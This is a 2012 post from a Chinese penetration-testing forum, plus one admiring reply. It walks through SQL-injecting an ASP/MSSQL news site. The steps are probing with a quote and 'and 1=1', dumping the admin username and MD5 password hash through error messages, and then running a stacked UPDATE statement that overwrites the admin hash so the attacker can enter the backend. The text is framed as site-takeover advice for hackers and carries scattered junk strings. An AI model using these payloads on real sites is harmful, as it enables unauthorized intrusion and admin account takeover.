中国网络渗透测试联盟

标题: SQL注入直接修改管理员密码的MD5值 [打印本页]
作者: admin    时间: 2012-9-13 17:55
标题: SQL注入直接修改管理员密码的MD5值
经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。+ r# Y/ c% v: ?7 B. ~
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)* S' O& L# b8 U" U
测试如下：# Q% F( z6 x- M
http://www.tmdsb.com/news.asp?id=121; p3 v1 Z% }! {8 v3 C, @3 f
在地址后输入单引号，显示  m& m+ W2 E% a& t' t
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
9 d2 p/ Y4 S9 F, F* [, @! Y字符串 ’’’ 之前有未闭合的引号
3 u1 Z( I3 N4 e; j( d9 @/news/tmdws.asp，行635 J6 n" b; F) B4 f) ^! n* Q+ |
说明没有过滤单引号且数据库是MSSQL.7 C# c: j' q9 Q; d5 s2 L$ F9 b
and 1=1正常。and 1=2出错。肯定存在注入
7 k: ^) m6 i8 N! Y7 H9 |接着输入: B7 }& Z1 M+ D1 Z1 i6 W* O
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin), u1 _3 V9 x) z; C
得到帐号为:admin! ]2 k7 m6 n6 R  I
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
+ V8 z- y" [/ m( x7 t' D1 u得到密码为:a4716077c2ba075c
0 ^& p. X- k7 M接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433: g# B( X( B  ~/ N3 R
命令如下 :4 W' }  F* e+ p! |5 H
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–' l. f. V  w6 p9 S' \
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的
作者: angel    时间: 2012-9-14 16:22
没法说  一个字牛



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2